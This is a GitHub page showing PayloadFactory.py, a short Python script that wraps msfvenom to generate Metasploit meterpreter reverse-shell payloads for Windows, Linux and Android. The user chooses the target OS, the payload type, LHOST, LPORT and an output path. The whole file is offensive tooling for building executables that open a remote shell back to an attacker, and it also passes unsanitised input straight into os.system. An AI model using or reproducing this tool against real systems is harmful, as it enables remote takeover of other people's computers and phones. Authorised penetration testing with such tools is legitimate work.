-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPayloadFactory.py
75 lines (47 loc) · 2.38 KB
/
PayloadFactory.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import enquiries
import os
def generatePayload(lhost, lport, payload, location):
payloadTyp = payload.split("/")[0]
if payloadTyp == "windows":
payloadTyp = ".exe"
if payloadTyp == "linux":
payloadTyp = "."
if payloadTyp == "android":
payloadTyp = ".apk"
os.system("msfvenom -p " + payload + " LHOST=" + lhost + " LPORT=" +
lport + " R > " + location + "/payload" + payloadTyp)
print("Payload generated!")
def chooseOptions(options):
choice = enquiries.choose("Which payload do you want?", options)
lhost = enquiries.freetext("LHOST:")
lport = enquiries.freetext("LPORT:")
location = enquiries.freetext("Where should it be stored?(Path)")
generatePayload(lhost, lport, choice, location)
def windows():
options = ["windows/meterpreter/reverse_tcp", "windows/meterpreter/reverse_tcp_uuid", "windows/meterpreter/reverse_tcp_dns",
"windows/meterpreter/reverse_http", "windows/meterpreter/reverse_https", "windows/meterpreter/reverse_winhttp", "windows/meterpreter/reverse_winhttps"]
chooseOptions(options)
def linux():
options = ["linux/x86/meterpreter/reverse_tcp", "linux/x86/meterpreter/reverse_tcp_uuid", "linux/x86/meterpreter_reverse_http",
"linux/x86/meterpreter_reverse_https", "linux/x86/meterpreter/reverse_ipv6_tcp", "linux/x86/meterpreter/reverse_nonx_tcp"]
chooseOptions(options)
def android():
options = ["android/meterpreter/reverse_tcp",
"android/meterpreter/reverse_http", "android/meterpreter/reverse_https"]
chooseOptions(options)
def main():
print("""
_____ _ _ ______ _
| __ \ | | | | ____| | |
| |__) |_ _ _ _| | ___ __ _ __| | |__ __ _ ___| |_ ___ _ __ _ _
| ___/ _` | | | | |/ _ \ / _` |/ _` | __/ _` |/ __| __/ _ \| '__| | | |
| | | (_| | |_| | | (_) | (_| | (_| | | | (_| | (__| || (_) | | | |_| |
|_| \__,_|\__, |_|\___/ \__,_|\__,_|_| \__,_|\___|\__\___/|_| \__, |
__/ | __/ |
|___/ |___/
""")
options = ["Windows", "Linux", "Android"]
choice = enquiries.choose("What is the target OS?", options)
globals()[choice.lower()]()
if __name__ == "__main__":
main()